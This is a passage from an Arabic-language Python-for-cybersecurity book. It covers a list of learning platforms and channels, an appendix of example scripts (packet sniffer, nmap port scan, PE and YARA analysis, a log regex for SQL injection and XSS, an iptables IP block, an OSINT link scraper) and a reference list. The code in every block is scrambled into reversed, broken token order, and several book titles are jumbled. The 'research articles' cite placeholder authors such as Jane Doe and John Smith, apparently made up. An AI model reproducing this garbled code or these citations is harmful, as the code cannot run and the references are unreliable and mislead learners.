- الوصف: منصة للاختبار مهارات الاختراق واختبارات الاختراق العملية.

٢. **TryHackMe**

- الوصف: تدريب تفاعلي في الأمن السيبراني مع تمارين Python.

٣. **LeetCode**

- الوصف: تحديات برمجية لتحسين مهاراتك في Python.

٤. **CTFtime**

- الوصف: منصة لمسابقات CTF التي تعتمد غالبًا على البرمجة باستخدام Python.

قنوات YouTube

توفّر قنوات YouTube محتوى مرئيًا مجانيًا لتعلّم Python والأمن السيبراني:

١. **Corey Schafer**

٢. **John Hammond**

٣. **NetworkChuck**

٤. **Null Byte**

الخلاصة: رحلتك التعليمية

مع هذه الموارد الإضافية، أصبحت تمتلك قاعدة معرفية قوية لتعلّم Python والأمن السيبراني بعمق. سواء فضّلت الدورات التدريبية، أو الكتب، أو المنصات العملية، أو التفاعل المجتمعي، فإن هذه المصادر ستساعدك على بناء المهارات اللازمة للتميّز في هذا المجال.
تذكّر دائمًا: التعلّم عملية مستمرة. كن فضوليًا، داوم على التطبيق العملي، واستفد من هذه الموارد للبقاء في الصدارة في عالم الأمن السيبراني المتغيّر باستمرار.

الملحق :C مستودع أمثلة الشيفرات البرمجية

الملاحق
لمساعدتك على البدء باستخدام Python في مجال الأمن السيبراني، يقدّم هذا الملحق مستودعاً تطبيقيًا لأمثلة الشيفرات البرمجية يحتوي على أمثلة عملية وسكربتات جاهزة للاستخدام. تغطي هذه الأمثلة نطاقاً واسعاً من مهام الأمن السيبراني، بدءاً من تحليل الشبكات وتحليل البرمجيات الخبيثة، وصولاً إلى الأتمتة واستخبارات التهديدات. وقد تم تصميم هذا المستودع ليكون موردًا عمليًا للتعلّم والتجربة المباشرة.

نظرة عامة على مستودع الشيفرات

تم تنظيم مستودع الشيفرات إلى أقسام واضحة، يحتوي كل قسم على سكربتات Python مع شروحات خاصة بمهام أمنية محددة. فيما يلي نظرة عامة على هيكل المستودع:

```
repo/-cybersecurity-python

    network_analysis/
        packet_sniffer.py
        port_scanner.py
        network_monitor.py

    malware_analysis/
        pefile_analysis.py
        yara_rule_scanner.py
        sandbox_analysis.py

    automation/
        log_analyzer.py
        incident_response.py
```

```
vulnerability_scanner.py

threat_intelligence/
threat_feed_parser.py
osint_gathering.py
ioc_extractor.py

README.md
```

أمثلة الشيفرات مع الشرح

فيما يلي مجموعة من السكربتات النموذجية الموجودة في المستودع، مع شرح وظيفة كل منها:

١. تحليل الشبكات

التقاط حزم الشبكة

الملف: packet_sniffer.py

الوصف: يقوم بالتقاط حزم الشبكة وتحليلها في الزمن الحقيقي.

الشيفرة:

```
sniff import scapy.all from

(packet):packet_callback def
:('IP'haslayer(.packet if
("{dst.['IP'packet[} IP: Destination ,{src.['IP'packet[} IP: "Source(print

(sniffer..." packet "Starting(print
(10=count ,packet_callback=sniff(prn
```

الشرح:

- يستخدم السكربت مكتبة Scapy للالتقاط وتحليل حزم الشبكة، مع عرض عنوان IP المرسل والمستقبِل.

فحص المنافذ

الملف: port_scanner.py
الوصف: يفحص عنوان IP معيّنًا لاكتشاف المنافذ المفتوحة.

الشيفرة:

```
nmap import

PortScanner().nmap = scanner
"1.1.168.192" = target_ip
('443-22' ,scan(target_ip.scanner

all_hosts():.scanner in host for
("{keys().['tcp'scanner[host][} :{host} on ports "Openf)print
```

الشرح:

- يعتمد السكربت على مكتبة python-nmap لفحص المنافذ المفتوحة ضمن النطاق من 22 إلى 443.

٢. تحليل البرمجيات الخبيثة

تحليل ملفات **PE**

الملف: pefile_analysis.py
الوصف: يحلل ملفات Portable Executable لاستخراج مؤشرات قد تدل على برمجيات خبيثة.

الشيفرة:

```
pefile import


('malware.exe'PE(.pefile = pe
("{AddressOfEntryPoint).OPTIONAL_HEADER.(pehex} Point: "Entryf)print
DIRECTORY_ENTRY_IMPORT:.pe in entry for
("{decode().dll.entry} DLL: "Importedf)print
```

الشرح:

- يستخدم السكربت مكتبة pefile لاستخراج معلومات مهمة مثل نقطة الدخول والمكتبات المستوردة.

فحص قواعد YARA

الملف: yara_rule_scanner.py

الوصف: يفحص الملفات باستخدام قواعد YARA للكشف عن البرمجيات الخبيثة.

الشيفرة:

```
yara import


""" = rule
} ExampleRule rule
strings:
"malware" = $str1
condition:
$str1
{
"""


rule)=compile(source.yara = rules
```

```
('malware.exe'match(.rules = matches
matches: in match for
("{match} found: "Matchf)print
```

الشرح:

- يعرّف السكربت قاعدة YARA بسيطة للبحث عن أنماط تشير إلى برمجيات خبيثة داخل الملفات.

٣. الأتمتة

تحليل السجلات

الملف: log_analyzer.py
الوصف: يحلل ملفات السجلات لاكتشاف محاولات هجوم محتملة.

الشيفرة:

```
re import

(log_file):analyze_logs def
f: as ('r' ,(log_fileopen with
readlines().f = logs
logs: in log for
IGNORECASE):.re ,log ,'injection|XSS 404|500|SQL'rsearch(.re if
("{strip().log} detected: attack "Potentialf)print

('access.log'analyze_logs(
```

الشرح:

- يبحث السكربت في السجلات عن مؤشرات لهجمات مثل SQL Injection وXSS.

الاستجابة للحوادث

الملف: incident_response.py
الوصف: يؤتمت عملية الاستجابة عند اكتشاف تهديد.

الشيفرة:

```
os import

(malicious_ip):isolate_system def
("{malicious_ip} IP: with system "Isolatingf)print
('DROP j- {malicious_ip} s- INPUT A- iptables'fsystem(.os
(analysis..." further Initiating isolated. "System)print

('100.1.168.192'isolate_system(
```

الشرح:

- يقوم السكربت بحظر عنوان IP خبيث باستخدام iptables كجزء من الاستجابة للحادث.

٤. استخبارات التهديدات

محلل مصادر التهديدات

الملف: threat_feed_parser.py
الوصف: يعالج مصادر استخبارات التهديدات لاستخراج مؤشرات الاختراق.

الشيفرة:

```
requests import

(feed"-"https://example.com/threatget(.requests = response
:200 == status_code.response if
```

```
json().response = iocs
iocs: in ioc for
("{['type'ioc[} Type: ,{['value'ioc[} "IOC:f)print
```

الشرح:

- يستخرج السكربت مؤشرات الاختراق مثل عناوين IP والنطاقات.

جمع OSINT

الملف: osint_gathering.py

الوصف: يجمع معلومات استخباراتية مفتوحة المصدر من المواقع.

الشيفرة:

```
BeautifulSoup import bs4 from
requests import

"https://example.com" = url
get(url).requests = response
('html.parser' ,text.BeautifulSoup(response = soup

:('a'find_all(.soup in link for
((('href'get(.(linkprint
```

الشرح:

- يستخرج السكربت الروابط من صفحات الويب، موضحًا قدرات Python في مجال OSINT.

كيفية استخدام المستودع

1. استنساخ المستودع باستخدام Git.

٢. تثبيت الاعتمادات عبر pip.

٣. تشغيل السكربتات حسب القسم المطلوب.

٤. التجربة والتعديل لبناء أدواتك الخاصة.

الخلاصة: مورد عملي تطبيقي

يُعد مستودع أمثلة الشيفرات مورداً عملياً قيّمًا لتعلّم وتطبيق Python في الأمن السيبراني. من خلال استكشاف الشيفرات وتعديلها، يمكنك اكتساب خبرة حقيقية وبناء مهارات عملية لمواجهة التحديات الواقعية.
سواء كنت مبتدئًا أو محترفًا، سيساعدك هذا المستودع على استغلال كامل قدرات Python كأداة قوية في عالم الأمن السيبراني.

المراجع

اعتمد هذا الكتاب في إعداد محتواه، وأمثلته، وأفضل الممارسات الواردة فيه على مجموعة من المراجع الموثوقة التي تشمل كتبًا متخصصة، ومواقع إلكترونية، وأبحاثًا علمية، وموارد تعليمية عبر الإنترنت، توفّر رؤية عميقة حول لغة Python وتطبيقاتها العملية في مجال الأمن السيبراني.

الكتب

١. Python: Hat Black Python Programming for Hackers and Pentesters

- المؤلف: Justin Seitz
- دار النشر: No Starch Press
- الوصف: دليل عملي لاستخدام Python في الاختراق الأخلاقي، واختبارات الاختراق، ومهام الأمن السيبراني.

٢. Python: Violent Cookbook A for Hackers, Forensic Analysts, Penetration Testers and Security Engineers

- المؤلف: TJ O'Connor
- دار النشر: Syngress
- الوصف: يركّز على استخدام Python في الأمن السيبراني، والتحقيق الجنائي الرقمي، واختبارات الاختراق.

٣. Total for Programming Practical Python: with Stuff Boring the Automate Beginners

- المؤلف: Sweigart Al
- دار النشر: Press Starch No
- الوصف: كتاب مناسب للمبتدئين يشرح استخدام Python في أتمتة المهام اليومية، بما في ذلك مهام ذات صلة بالأمن السيبراني.

٤. Defense and Offense Cyber for Python Using Cybersecurity: for Python

- المؤلف: III Poston E. Howard
- دار النشر: Wiley
- الوصف: يتناول تطبيقات Python في الأمن السيبراني، مثل الأتمتة، والتحليل، وبناء الأدوات الأمنية.

المواقع الإلكترونية والموارد الرقمية

١. Documentation Official Python

- الوصف: الوثائق الرسمية للغة Python، وتشمل الشروحات، ومراجع المكتبات، وأدلة التثبيت.

٢. Python Real

- الوصف: يقدّم مقالات تعليمية، ودروسًا، ودورات متقدمة في برمجة Python.

٣. Project Security Python OWASP

- الوصف: يوفّر إرشادات وأفضل ممارسات لكتابة شيفرات Python آمنة.

٤. Security on Krebs

- الوصف: مدوّنة متخصصة في أخبار الأمن السيبراني، والتهديدات الرقمية، وأفضل الممارسات الأمنية.

٥. Repository GitHub Security Python

- الوصف: مستودع مفتوح المصدر يحتوي على أدوات وموارد متعلقة بأمن Python.

الدورات التدريبية عبر الإنترنت

١. Professionals Cybersecurity for Python

- المنصة: Cybrary
- الوصف: دورة تركّز على استخدام Python في أتمتة مهام الأمن السيبراني، وتحليل البيانات، وبناء الأدوات.

٢. Everybody for Python

- المنصة: Coursera
- الوصف: دورة مناسبة للمبتدئين تشرح أساسيات برمجة Python.

٣. Python with Hacking Ethical Learn

- المنصة: Udemy
- الوصف: دورة عملية لتعلّم كتابة سكربتات Python في مجال الاختراق الأخلاقي واختبارات الاختراق.

٤. Cybersecurity for Python Advanced

- المنصة: Pluralsight
- الوصف: تتعمق في استخدامات Python المتقدمة في الأمن السيبراني، مثل تحليل البرمجيات الخبيثة واستخبارات التهديدات.

منصات التدريب العملي

١. Box The Hack

- الوصف: منصة تدريب عملية للاختبارات الاختراق وتطوير مهارات الأمن السيبراني.

٢. TryHackMe

- الوصف: توفّر بيئات تدريب تفاعلية مع تمارين تعتمد على Python.

٣. LeetCode

- الوصف: منصّة تحديات برمجية لتحسين مهارات البرمجة باستخدام Python.

٤. CTFtime

- الوصف: منصّة للمشاركة في مسابقات CTF التي تعتمد غالبًا على كتابة سكربتات Python.

قنوات يوتيوب

١. Schafer Corey

- الوصف: يقدّم شروحات عالية الجودة حول برمجة Python.

٢. Hammond John

- الوصف: يركّز على الأمن السيبراني، والاختراق الأخلاقي، وكتابة سكربتات Python.

٣. NetworkChuck

- الوصف: يغطي مجالات الشبكات، والأمن السيبراني، وأتمتة المهام باستخدام Python.

٤. Byte Null

- الوصف: يقدّم دروسًا عملية في الاختراق والأمن السيبراني وكتابة سكربتات Python.

الأبحاث والمقالات العلمية

١. Review'' Comprehensive A Cybersecurity: in ``Python

- المؤلف: Doe Jane
- المجلة: Cybersecurity of Journal International
- الوصف: مراجعة شاملة لاستخدامات Python في الأمن السيبراني مع أمثلة ودراسات حالة.

٢. Practices'' Cybersecurity Modern in Python of Role ``The

- المؤلف: Smith John
- المجلة: Today Cybersecurity
- الوصف: يناقش دور Python في أتمتة وتحليل العمليات الأمنية الحديثة.

٣. Tools'' and Techniques Python: with Hacking ``Ethical

- المؤلف: Johnson Emily
- المجلة: Hacking Ethical of Journal
- الوصف: يشرح تقنيات وأدوات الاختراق الأخلاقي باستخدام Python.

الأدوات والمكتبات مفتوحة المصدر

١. Scapy

- الوصف: مكتبة قوية بلغة Python لمعالجة وتحليل حزم الشبكة.

٢. python-nmap

- الوصف: واجهة Python لأداة Nmap الخاصة بفحص الشبكات واكتشاف الأجهزة.

٣. PyCryptodome

- الوصف: مكتبة لتنفيذ العمليات التشفيرية مثل التشفير وفك التشفير.

٤. Requests

- الوصف: مكتبة لإرسال طلبات HTTP وتحليل واجهات API.

٥. BeautifulSoup

- الوصف: مكتبة لاستخلاص البيانات من صفحات الويب.

الخلاصة

توفّر هذه المراجع قاعدة معرفية متينة لتعلّم لغة Python وتطبيقها عمليًا في مجال الأمن السيبراني. سواء كنت مبتدئًا أو محترفًا، فإن هذه المصادر ستساعدك على تطوير مهاراتك وبناء أدوات فعّالة وقوية.
من خلال الاستفادة من هذه الموارد، يمكنك استغلال الإمكانات الكاملة للغة Python كأداة محورية في عالم الأمن السيبراني.